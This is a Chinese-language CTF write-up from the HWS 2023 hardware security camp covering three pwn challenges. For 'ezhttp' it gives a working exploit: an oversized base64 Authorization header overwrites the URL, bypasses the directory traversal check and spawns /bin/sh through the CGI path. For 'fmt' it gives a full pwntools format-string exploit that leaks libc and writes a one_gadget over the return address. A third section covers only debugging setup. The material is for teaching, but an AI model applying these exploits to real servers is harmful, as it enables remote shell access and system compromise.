HWS 2023 第七期夏令营(硬件安全营)wp

ezhttp

程序基于 Tinyhttpd ,main函数如下,类似常见的TCP fork server,不过这里用的是pthread_create()而不是fork():

img

跟进新的线程:

img

代码比较长,总结下来就是读取HTTP请求的每一行,然后提取出请求METHOD、请求URL、HTTP Headers。然后根据METHOD类型判断是GET请求还是POST,如果是GET请求还要判断访问的URL是不否需要登陆就可以访问,登陆使用HTTP Basic认证(HTTP头:Authorization: Basic <凭证>),其中凭证采用BASE64编码,解码函数存在溢出,可以覆写到URL变量。另外在检查URL是否需要登陆时存在绕过漏洞,构造/aaa?.css即可使logged_in为1,为后面的执行cgi程序做准备。

程序在Tinyhttpd的基础上修复了目录穿越的CVE,在提取出URL检查了是否存在..,但是后续的base64解码可以覆盖到URL,栈结构如下:

img

img

img

综上,可见token可以覆盖到url变量,base64_decode函数没有限制传入参数的长度,这样就达到了目录穿越检查的绕过。另外说一点ida反编译出来的buf3的长度其实是不对的,base64_decode()函数传入的参数就不是v18而是&buf3[21],即Authorization: Basic 之后的字符串。

接下来看登陆之后的处理:

img

从URL中提取出了query_string,并将URL从?处截断,设置cgi=1,然后通过sprintf将htdocs和url拼接在一起,最后检查path是否存在以及是否是目录或者是文件。如果是文件并且有可执行权限的话,在cgi=1时就会当作cgi进行执行。

跟进执行cgi的函数,程序和tinyhttpd的源码有所不同,没有用到两次pipe函数的fd,猜测可能是因为管道的读取要读取满缓冲区才会返回,而socket的缓冲区就是一次tcp请求的内容,使用socket才能正常实现shell的交互。

其中关键的函数是execl,通过前面的dup2函数已经将socket的fd复制到了stdin和stdout,这样cgi程序就能读取stdin的内容然后从stdout返回,通过构造path为/bin/sh的路径即可getshell。

img

最终exp如下:

p.send("GET /index.html HTTP/1.1\r\nAuthorization: Basic QWRtaW46QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQS8uLi8uLi8uLi8uLi8uLi8uLi9iaW4vc2g/LmNzcw==\r\n\r\n")
p.interactive()

hws fmt

主要逻辑在run()函数中:

img

题目已经提示是格式化字符串漏洞,有两次格式化字符串的机会,第一次泄露程序的返回地址和libc地址,第二次向返回地址写入gadget就行了,pwntools可以直接生成payload,要注意的是偏移不要算错了。

输入AAAA%18$p%8$p,输出如下,成功泄露rbp+0x10和_IO_file_jumps的地址。

img

img

通过one_gadget寻找可用的gadget,第二个gadget满足要求。

img

然后就是写脚本打就可以了,poc如下:

from base import *

p.recvuntil("I need a str:")
p.sendline('AAAA%18$p%8$p')
res = ru('I need other str: ')

_IO_file_jumps = int(res[-33:-19],16)
rbp = int(res[-47:-33],16)

log.success("_IO_file_jumps: " + hex(_IO_file_jumps))
log.success("rbp: " + hex(rbp))

libc_base = _IO_file_jumps - libc_elf.symbols['_IO_file_jumps']
log.success("libc base:" + hex(libc_base))

one_gadget = 0xe3b01
target = libc_base + one_gadget
log.success("target: " + hex(target))

context.clear(arch = 'amd64')
payload = fmtstr_payload(6, {rbp-8: target}, write_size='short')
log.info("payload:" + str(payload))

p.sendline(payload)
p.interactive()

mi

首先设置RPATH,不然会找不到libmimalloc.so.2
patchelf --set-rpath ./ pwn

ida远程调试的坑:

在Debugger选项栏,Debugger Options中要注意开启suspen on thread start/exit 然后双击对应的线程就可以切换上下文到相应的线程,然后f8正常调试了,不然的话我这边直接就是hex view到文件的开头,连反汇编都没有。

img